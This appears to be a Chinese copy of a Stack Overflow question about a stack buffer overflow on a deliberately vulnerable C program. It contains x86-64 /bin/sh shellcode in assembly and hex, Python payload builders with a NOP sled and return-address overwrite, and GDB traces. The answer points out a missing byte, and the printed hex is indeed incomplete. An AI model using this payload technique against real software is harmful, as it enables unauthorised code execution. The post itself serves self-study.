【问题标题】:execute a shellcode, /bin/sh执行一个shellcode,/bin/sh
【发布时间】:2020-11-19 17:29:06
【问题描述】:

我正在尝试从堆栈上的地址执行 shellcode (/bin/sh),但未成功。 我在 Ubuntu 20.04 64 位机器上使用缓冲区溢出方法将 shellcode 注入可执行文件。 我希望在执行过程中,会打开一个 shell……。

  1. 这是执行/bin/sh 的程序集文件(我从中获取了机器代码):
global _start

_start: 

    xor rax, rax

    push rax
    
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    
    push rax
    push rdi
    mov rsi,rsp 
        
    xor rdx, rdx
    add rax, 59
    syscall
  1. 这是机器码:
\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05
  1. 这是我注入 shellcode 的 C 代码 (buffer_V8.c):
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int buffer(char* input){
    char buffer[256];
    strcpy (buffer,input);
    printf("Hello from buffer!\n");
    return 0;
}

void main (int argc, char *argv[]){
    int local_variable = 1;
    buffer(argv[1]);
    printf("Hello from main!\n");
    exit(0);
}
  1. 这就是我创建可执行文件的方式:
gcc -fno-stack-protector -z execstack buffer_V8.c  -o buffer_V8
  1. 使用合法输入运行可执行文件,按预期工作:
$ ./buffer_V8 AAA 
Hello from buffer! 
Hello from main! 
  1. 使用 GDB 运行可执行文件,使用长输入覆盖返回地址,但没有 shellcode,按预期工作:

这里是创建输入的文件:

#!/usr/bin/env python
from struct import *

buffer = ""
buffer += "A"*264
buffer += "B"*6
f = open("input_V1.txt", "w")
f.write(buffer)
f.close()

这是使用 GDB 执行的结果:当调试器尝试返回时,它会停止并显示以下消息:

gdb ./buffer_V8 
run $(cat input_V1.txt)  
c
…
Stopped reason: SIGSEGV 
0x0000424242424242 in ?? () 
  1. 使用 GDB 运行可执行文件时,使用覆盖返回地址(包括 shellcode)的长输入无法按预期工作:

这里是创建输入的文件:

#!/usr/bin/env python
from struct import * 

buffer = "" 
buffer += "\x90"*100    #NOP 
#shell code 
buffer+="\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05"
buffer += "C"*133
#override the return address with an address in the stack inside the buffer before the shellcode begins. 
buffer += pack("<Q", 0x7fffffffdcf0) 

f = open("input_V4.txt", "w") 
f.write(buffer) 
f.close()

这是使用 GDB 执行的结果:

gdb ./buffer_V8
run $(cat input_V4.txt) 
c
  0x7fffffffdd3a:   xor    rdx,rdx
   0x7fffffffdd3d:  add    rax,0x3b
   0x7fffffffdd41:  syscall 
=> **0x7fffffffdd43**:  rex.XB
   0x7fffffffdd44:  rex.XB
   0x7fffffffdd45:  rex.XB
   0x7fffffffdd46:  rex.XB
   0x7fffffffdd47:  rex.XB
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddb8 --> 0x7fffffffddc8 --> 0x0 
0008| 0x7fffffffddc0 --> 0x0 
0016| 0x7fffffffddc8 --> 0x0 
0024| 0x7fffffffddd0 --> 0x7fffffffdee8 --> 0x7fffffffe22f ("/home/albi/Desktop/UMalware/PROJECTS
/Penetration/CH7/zzz")
0032| 0x7fffffffddd8 --> 0x2555550a0 
0040| 0x7fffffffdde0 --> 0x7fffffffdee0 --> 0x2 
0048| 0x7fffffffdde8 --> 0x100000000 
0056| 0x7fffffffddf0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
**0x00007fffffffdd43** in ?? ()

调用syscall at address 0x7fffffffdd41 后,执行似乎停止了,而不是打开shell。

出了什么问题,如何才能成功执行shellcode?​​p>

非常感谢 大理

【问题讨论】:

    标签: ubuntu stack buffer-overflow inject shellcode


    【解决方案1】:

    我发现了这个错误:

    从第 1 阶段:汇编程序到第 2 阶段:机器代码的过渡并不完整:缺少一个机器代码。

    解决这个问题解决了所有问题!

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2018-09-03
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2014-12-30
      • 2022-01-02
      相关资源
      最近更新 更多